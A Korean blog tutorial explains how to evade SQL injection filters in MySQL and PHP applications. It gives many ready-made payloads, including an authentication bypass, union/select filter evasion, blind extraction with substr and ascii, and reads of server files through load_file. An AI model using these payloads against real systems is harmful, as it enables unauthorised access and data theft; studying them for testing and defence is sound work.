본문 바로가기
2. Information Security/1. Insight

7. Filtering 우회 2

by H232C 2020. 2. 13.

1) MySQL syntax

 

- MySQL은 상당히 말랑말랑한 문법체계를 가지고 있다. 

 

무슨말인고 하니 SeLeCT와 같이 Keyword는 대소문자를 구분하지않고 select * from users와 같은 query도 공백을 필터링하는경우 %0a같은 delimiter를 쓸수 있고 또한 select(*)from(users); 와같이 공백이 필요한 부분에 ()를 감싸는것도 적법한 문장이다.

 

이러한 MySQL의 특성을 이용해 여러가지 필터링을 우회 할 수 있습니다.

 

2) Keyword Filter

 

- 인젝션을 가능케 하는 여러가지 키워드 (union, select, limit, having, like) 등등의 필터링은 인젝션을 얼핏 봐서는 불가능하게 만든다. 이런경우에 mysql내 다양한 내장함수들을 사용함으로써 대체 가능하다.

 

3) Function filter.

 

- 익히잘 알려진 substr(), ascii()와 같은 built-in function들이 필터당했을때 다소 알려지지 않은 함수들의 조합등으로 인젝션이 가능하다. 물론 인젝션의 목적 / 취약가능한 부위에 따라 달라 질 수 있다.

 

 

하나하나 씩 다뤄 보자

 

MySQL Syntax

- 주석

여러가지 방법이 존재 한다.

#, -- x (--다음에는 공백이 항상 따라와야 한다. 그후 아무문자 x 하나) , /**/ (Mysql 5.1 버젼 이하) , ;%00

예를들어 다음과 같은 인젝션이 가능하다

$name=$_GET['name']

select data from users where name='$name';

 

' or 1=1;%00

 

-연산자

 

다음과 같은 연산자 들이 있다. ^, =, !=, %, /, *, &, &&, |, ||, <, >, >>, <<, >=, <=, <>,<=>, XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN. 적절히 활용해 주자

' or 1 rlike 1

 

-공백

 

뭐 딱히 덧 붙일 설명이없다. %20 %09 %0a %0b %0c %0d  /**/ 또한 () 와 같이 (, )연달아 사용하면 하나의 공백으로 인식된다.

'or+(1)sounds/**/like“1“--%a0-



 

-문자열

MySQL은 위해서도 설명햇다 싶이 말랑말랑한 문법을 가지고 있기때문에 파일 데이터형간 비교가 자유롭다.

긴말은 생략하고 예를 살펴보자

' or “a“ = 'a      <- "a"와 'a'가 = 연산자에 의해 동일하게 취급된다. 하지만 == <- 연산자를 쓴다면 type까지 비교하므로 false

 

' or 'a' = 0b1100001 # binary

' or 'a' = 0x61


 

-상수들

 true, false, null, \N, current_timestamp,

 

 

-환경 변수들

 @@version, @@datadir, ...

mysql> show variables; // 272 rows in set (실제로 272개의 변수들이 존재한다 by default)

 

 

-내장 함수들:

정말 주옥같이 쓸수 잇는 함수들이다. query문 내부에서 실제로 mysql로 전달될때 함수에 의해 계산된 결과값이 리턴되면서 query가 완성된다. 이 내장 함수들을 빠삭하게 외우고 활용하는게 바로 sqli (sql injection)의 꽃

 

자주 쓰이는놈 몇가지, substr(), version(), pi(), pow(), char(), substring(), ...

 

-형변환 

 

C언어의 type cast와는 다르게 암묵적으로 형변환을 한다

' or 1 = true # true=1, false=0

' or 1 # true

' or version() = 5.1 # 5.1.36-community-log

' or round(pi(),1)+true+true = version() # 3.1+1+1 = 5.1

select * from users where 'a'='b'='c'

select * from users where ('a'='b')='c'

select * from users where (false)='c'

select * from users where (0)='c'

select * from users where (0)=0 

select * from users where true

select * from users

Shortest authentication bypass:           '=' 

select data from users where name = ''=''


 

 

Keyword들이 필터되었을때 어떻게 해야 할지 살펴보자.

일단 Mysql에서 Reserve된 Keyword들이 여러게있다.

select, from, where, in, like, limit 등등.

기본적으로 이 키워드들은 대소문자를 구별하지 않는다.

따라서 SeLect나 select나 다 똑같은 값으로 읽히는것이다.

 

하지만 이거랑 반대로 php는 모든 문자열에대해 case sensitive이다. 대소문자를 구별한다는것이다.

만약에 php에서 단순히 select만을 필터링한다면, SELeCT같은 방식으로 우회를 할 수 있고 여전히 쿼리에 들어갔을때 제역할을 하는겄이다.

 

자 이제 키워드들이 막혔을 때는 같은 역할을 하되 비교적 덜알려져 있는 키워드들이나 함수들을 이용하는것이다.

 

1) And 와 OR

|| 와 &&를 사용한다.

ex) 1 || '1=1

2) Union select를 연달아 필터링 하는경우

"union select" 라는 연달아 붙어있는 문자열을 특수하게 필터링하는경우

union(select(pass)from(users)) 와같이 ()를 씀으로 필터링을 우회 할 수 있다 기본적으로 공백에도 적용되는 기법인데. 공백을 필요로 하는 부분을 ()로 묶어버리면된다.

예) select * from table where users = ~~일때

select(*)from(table)where(users)

또한 /**/도 사용할수 있다. union/*!*/select 혹은 union%0aselect.

%0a가 php내에서 개행함으로써 실제로 쿼리에 들어갈때 공백같은 역할을 하는것이다.

혹은 두가지 이상의 argument를 받을경우

verify.php?id=1 union/*&pass=*/select ~~~

이렇게 두 인자 사이에 넣음으로써도 우회가능하다.

 

3) Union 자체가 필터링 당했을경우

서브쿼리 혹은 substr, substring, left , right, lpad, rpad등을 이용해서 blind injection을 사용하자.

한가지 주위할점은 서브쿼리는 항상 ()로 둘러 쌓여야한다는것과 결과값이 항상 하나의 열만을 리턴해야된다는것! 웹해킹문제들에서도 자주 쓰이는 훼이크

 

4) Limit 필터

group by  + having을 쓰거나

group_concat 혹은 max, min 등의 보조함수를 쓰자. Limit은 상당히 많은 역할을 하는 키워드라 필터링 되면 짜증난다.

5) Group 필터

where 나 having문을 써서 특수한 조건을 첨가하도록 만들어주자.

6) Having/Where 필터

이럴경우 substr, group_concat 등을 이용해 한문자씩 비교해어야 한다.

group_concat은 default로 앞에서부터 1024 chars만큼만 읽어 온다는것 주의!

7) Select 필터

이경우 상당히 난감하다. 하지만 FILE privilege가 있을경우 (root)

' and substr(load_file('file'),locate('DocumentRoot', (load_file('file')))+length('DocumentRoot'),10)='a

load_file/ outfile 등을 적절히 이용해서 읽을 수 있다. 일종의 블라인드 인젝션

혹은 컬럼 명을 알경우 / 추측하여

' and data is not null# 등과같이도 가능. 컬럼명을 모를때 procedure analyse()는 유용하다.

' procedure analyse()#. 유의할점은 procedure analyse는 현재 쿼리에서 사용되고 있는 column에 관한 정보만 뿌려준다는점

혹은 ifnull(nullif()), case when, if() 등을 적절히 이용해 참을 만들어 줄 수도 있다.

where name=' ' 이라고할때  '-0#은 참이라는 사실을 이용해

'-if(name='Admin',1,0)# 과 같이 사용가능.

-----------------------------------------------------------------------------

자이제 키워드 필터링이 되었을때 주로 내장 function들을 사용했다는것을 알수 있다 또한 ' ' 를 사용하는 문자열 까지도. 하지만 functino들 까지 필터링되고 매직쿼터가 켜져서 ' '를 사용하지 못할경우 어떻게 우회할 수 있을까

일단 문자열은

다음과 같이 가능하다

' and substr(data,1,1) = 'a'#
' and substr(data,1,1) = 0x61#

' and substr(data,1,1) = unhex(61)#

' and substr(data,1,1) = char(97)#

다 'a'로 변환된다.

얘내까지 막혔을경우

' and substr(data,1,1) = 'a'#
' and hex(substr(data,1,1)) = 61#
' and ascii(substr(data,1,1)) = 97#
' and ord(substr(data,1,1)) = 97#

이젠 숫자로 변환시켜 비교 한다.

또한 conv함수를 쓸수도 있다.

conv(10,10,36) = 'a'

또한 substr 대신

substring, mid 함수가 있다는 점도 유용하다.

 

',' 콤마까지 꼼꼼하게 막아놨다면 어떻게 할가

->    substr(data from 1 for 1 )

또 lpad, rpad, left, right(reverse함수와 같이) , insert 등을 쓸수있다.

 

locate, instr, position 또한 유용

 

숫자 필터링

숫자가 필터링 되어있을때 +,-,*,% 등을 필터링 한다면.

아래와 같은 cheat sheet또한 존재

false !pi() 0            ceil(pi()*pi())                 10 ceil((pi()+pi())*pi()) 20
true !!pi() 1             ceil(pi()*pi())+true          11 ceil(ceil(pi())*version()) 21
true+true 2              ceil(pi()+pi()+version())   12 ceil(pi()*ceil(pi()+pi())) 22
floor(pi()) 3             floor(pi()*pi()+pi())         13 ceil((pi()+ceil(pi()))*pi()) 23
ceil(pi()) 4              ceil(pi()*pi()+pi())          14 ceil(pi())*ceil(version()) 24
floor(version()) 5      ceil(pi()*pi()+version())   15 floor(pi()*(version()+pi())) 25
ceil(version()) 6        floor(pi()*version())       16 floor(version()*version()) 26
ceil(pi()+pi()) 7         ceil(pi()*version())        17 ceil(version()*version()) 27
floor(version()+pi()) 8 ceil(pi()*version())+true  18 ceil(pi()*pi()*pi()-pi()) 28
floor(pi()*pi()) 9 floor((pi()+pi())*pi())             19 floor(pi()*pi()*floor(pi())) 29



'2. Information Security > 1. Insight' 카테고리의 다른 글

9. 다운로드 공격  (0) 2020.02.13
8. 업로드 공격 우회  (0) 2020.02.13
6. Filtering 우회  (0) 2020.02.11
5. Filtering 우회  (0) 2020.02.05
4. SQL INJECTION CHEAT SHEET (SQL 인젝션 치트 시트)  (0) 2020.02.04

댓글